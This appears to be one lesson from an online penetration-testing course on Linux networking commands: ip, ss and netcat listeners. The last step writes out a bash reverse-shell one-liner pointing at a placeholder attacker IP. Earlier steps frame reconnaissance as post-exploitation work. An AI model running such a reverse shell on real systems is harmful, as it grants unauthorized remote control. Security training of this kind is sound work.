Lesson 5 of 8

Networking Commands

Linux provides a rich set of networking tools that are essential for both network administration and offensive security work. You will learn to configure network interfaces, analyze connections, trace routes, and use tools like netcat that are fundamental to penetration testing. These commands are used daily by network security professionals and penetration testers.

Learning Objectives — Deep Dive

Each objective below is broken down into plain English so you know exactly what you are learning, why it matters, and what you will be able to do when you are done. Mark each one complete as you work through the lesson.

0/4
In plain English

This is a hands-on skill — you are learning to actually do something, not just understand it theoretically. The goal is muscle memory: being able to perform this action reliably under pressure, in a real engagement, without having to look it up every time. Practice until it feels automatic.

Why this matters

Every attack and every defense happens over a network. Understanding how data actually travels between computers gives you the mental model to spot anomalies, intercept traffic, and understand why certain attacks work the way they do.

Real-world analogy

Think of it like learning to drive. You do not need to understand how the engine works to drive safely, but knowing the basics helps you diagnose problems and avoid mistakes that could cause accidents. The same principle applies here — foundational knowledge prevents costly errors.

What you will be able to do

Navigate a Linux system confidently from the command line, write basic automation scripts to speed up repetitive tasks, and use the terminal-based security tools that are standard in professional penetration testing.

Beginner tip

Do not try to memorize everything at once. Read through the material once to get the big picture, then go back and work through the lab. The hands-on practice is what makes the concepts stick — passive reading alone will not get you there.

Networking Commands · Objective 1 of 4

VIDEO
Loading video…
1

Examine network configuration

Run 'ip addr' to display all network interfaces and their IP addresses — this replaces the deprecated 'ifconfig' command on modern Linux systems. Run 'ip route' to see the routing table, which shows the default gateway and any static routes. Run 'cat /etc/resolv.conf' to see the configured DNS servers. In a post-exploitation scenario, this information tells you which networks the compromised machine can reach, which is essential for planning lateral movement and pivoting to other network segments.

ip addr && ip route && cat /etc/resolv.conf
2

Check listening services

Run 'ss -tlnp' to list all TCP listening sockets with the process name that owns each one. The -t flag shows TCP only, -l shows listening sockets, -n shows numeric addresses (no DNS resolution), and -p shows the process name. Compare the listening services against what you expect — any service you cannot explain is worth investigating. Run 'ss -ulnp' for UDP services as well. In a privilege escalation scenario, a service listening on localhost (127.0.0.1) that is not accessible from the network may be running as root and exploitable from a low-privilege local account.

ss -tlnp
3

Set up a netcat listener

Run 'nc -lvnp 4444' to start a netcat listener on port 4444. The -l flag puts netcat in listen mode, -v enables verbose output, -n disables DNS resolution, and -p specifies the port. Netcat is often called the 'Swiss Army knife' of networking — it can create TCP/UDP connections, transfer files, and serve as a simple chat server. In penetration testing, netcat listeners are used to catch reverse shells: when an exploit runs on the target, it connects back to your listener and gives you an interactive shell.

nc -lvnp 4444
4

Connect to the listener

Open a second terminal and run 'nc <kali-ip> 4444' to connect to your listener. Anything you type in the connecting terminal will appear in the listening terminal and vice versa — this is a basic netcat chat session. To transfer a file, run 'nc -lvnp 4444 > received.txt' on the listener side and 'nc <kali-ip> 4444 < file.txt' on the sender side. Practice sending a reverse shell: on the listener run 'nc -lvnp 4444', and on another terminal run 'bash -i >& /dev/tcp/<kali-ip>/4444 0>&1' to connect a bash shell to the listener.

nc <kali-ip> 4444